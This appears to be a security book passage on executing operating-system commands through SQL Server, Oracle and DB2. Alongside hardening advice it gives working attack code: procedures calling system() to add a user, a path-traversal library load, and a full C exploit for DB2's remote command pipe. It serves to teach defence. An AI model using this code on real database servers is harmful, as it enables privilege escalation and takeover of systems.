With the right permissions (and very often without them) most RDBMS will allow a user to run operating-system commands. Why would anyone want to allow this? There are of course many reasons (Microsoft SQL Server security updates often need this functionality, as discussed below), but in our opinion, leaving this kind of functionality intact is far too dangerous. The way in which you will run operating system commands via RDBMS software varies greatly depending on which vendor you use.
Microsoft SQL Server
Even if you don't know much about Microsoft's SQL Server, you will probably have heard of the extended stored procedure xp_cmdshell . Normally, only those with sysadmin privileges can run xp_cmdshell , but over the past few years , several vulnerabilities have come to light that allow low-privileged users to use it. xp_cmdshell takes one parameter ”the command to execute. This command typically executes using the security context of the account running SQL server, which is more often than not the LOCAL SYSTEM account. In certain cases, a proxy account can be set up, and the command will execute in the security context of this account.
exec master..xp_cmdshell ('dir > c:\foo.txt') Although leaving xp_cmdshell in place has often led to the compromise of an SQL Server, xp_cmdshell is used by many of the security updates. A good recommendation would be to remove this extended stored procedure and move xplog70.dll out of the binn directory. When you need to apply a security update, move xplog70.dll back into the binn directory and re-add xp_cmdshell .
Oracle
There are two methods of running operating system commands through Oracle, although no direct method exists out of the box ”only the framework that allows command execution is there. One method uses a PL/SQL stored procedure. PL/SQL can be extended to allow a procedure to call out to functions exported by operating system libraries. Because of this, an attacker can have Oracle load the C runtime library ( msvcrt .dll or libc) and execute the system() C function. This function runs a command, as follows .
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll'; / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd; / exec oracmd.exec ('net user ngssoftware password!! /add'); To create such a procedure, the user account must have the CREATE/ALTER (ANY) LIBRARY permission.
In more recent versions of Oracle, libraries that can be loaded are restricted to the ${ORACLE_HOME}\bin directory. However, by using a double-dot attack, you can break out of this directory and load any library.
CREATE OR REPLACE LIBRARY exec_shell AS '..\..\..\..\..\..\winnt\system32\msvcrt.dll';
Needless to say, if we are running this attack on a Unix-based system, we'll need to change the library name to the path of libc.
As a side note, in some versions of Oracle it is possible to trick the software into running OS commands without even touching the main RDBMS services. When Oracle loads a library, it connects to the TNS Listener and the Listener executes a small host program called extproc to do the actual library loading and function calling. By communicating directly with the TNS Listener, it is possible to trick it into executing extproc . Thus, an attacker without a user ID or password can gain control over an Oracle server. This flaw has been patched.
IBM DB2
IBM's DB2 is similar to Oracle and just as insecure , but in a different way. You can create a procedure to run operating system commands, much as you can in Oracle, but by default, it seems that any user can do it. When DB2 is first installed, PUBLIC is by default assigned the IMPLICIT_SCHEMA authority, and this authority allows the user to create a new schema. This schema is owned by SYSIBM , but PUBLIC is given the rights to create objects within it. As such, a low-privileged user can create a new schema and create a procedure in it.
CREATE PROCEDURE rootdb2 (IN cmd varchar(200)) EXTERNAL NAME 'c:\winnt\system32\msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL call rootdb2 ('dir > c:\db2.txt') To prevent low-privileged users from running this attack, ensure that the IMPLICIT_SCHEMA authority is removed from PUBLIC .
DB2 offers another mechanism for running operating systems commands that does not use SQL. To ease the administrative burden , there is a facility called the DB2 Remote Command Server that allows, as the name describes, the remote execution of commands. On Windows platforms this server, db2rcmd.exe , holds open a named pipe called DB2REMOTECMD , which remote clients can open, send commands through, and have the results returned to them. Before the command is sent, a handshake is performed in the first write with the command sent in the second write. On receipt of these two writes , a separate process, db2rcmdc.exe , is spawned, which is then responsible for executing the command. The server is started and runs in the security context of the db2admin account, which is assigned administrator privileges by default. When db2rcmdc and the eventual command are executed, the permissions are not dropped. To connect to the DB2REMOTECMD pipe, a client needs a user ID and password, but providing that they have this, even a low-privileged user can run commands with administrator rights. Needless to say, this presents a security risk. In the worst-case scenario, IBM should modify the code of the Remote Command Server to at least call ImpersonateNamed_PipeClient first before executing the command. Doing so would mean that the command would execute with the privileges of the requesting user and those of an administrator. The best-case scenario would be to secure the named pipe and allow only those with administrator privileges to use this service. This code will execute a command on a remote server and return the results.
#include <stdio.h> #include <windows.h> int main(int argc, char *argv[]) { char buffer[540]=""; char NamedPipe[260]="\\"; HANDLE rcmd=NULL; char *ptr = NULL; int len =0; DWORD Bytes = 0; if(argc !=3) { printf("\n\tDB2 Remote Command Exploit.\n\n"); printf("\tUsage: db2rmtcmd target \"command\"\n"); printf("\n\tDavid Litchfield\n\t(david@ngssoftware.com)\n\t6th September 2003\n"); return 0; } strncat(NamedPipe,argv[1],200); strcat(NamedPipe,"\pipe\DB2REMOTECMD"); // Setup handshake message ZeroMemory(buffer,540); buffer[0]=0x01; ptr = &buffer[4]; strcpy(ptr,"DB2"); len = strlen(argv[2]); buffer[532]=(char)len; // Open the named pipe rcmd = CreateFile(NamedPipe,GENERIC_WRITEGENERIC_READ,0, NULL,OPEN_EXISTING,0,NULL); if(rcmd == INVALID_HANDLE_VALUE) return printf("Failed to open pipe %s. Error %d.\n",NamedPipe,GetLastError()); // Send handshake len = WriteFile(rcmd,buffer,536,&Bytes,NULL); if(!len) return printf("Failed to write to %s. Error %d.\n",NamedPipe,GetLastError()); ZeroMemory(buffer,540); strncpy(buffer,argv[2],254); // Send command len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL); if(!len) return printf("Failed to write to %s. Error %d.\n",NamedPipe,GetLastError()); // Read results while(len) { len = ReadFile(rcmd,buffer,530,&Bytes,NULL); printf("%s",buffer); ZeroMemory(buffer,540); } return 0; } Allowing the execution of commands remotely is somewhat risky, and this service should be disabled where possible.
We've listed several ways in which you can execute operating systems commands via RDBMS software. Others methods of course exist. We encourage you to carefully examine your software to find its weaknesses, and take steps to prevent it being compromised.
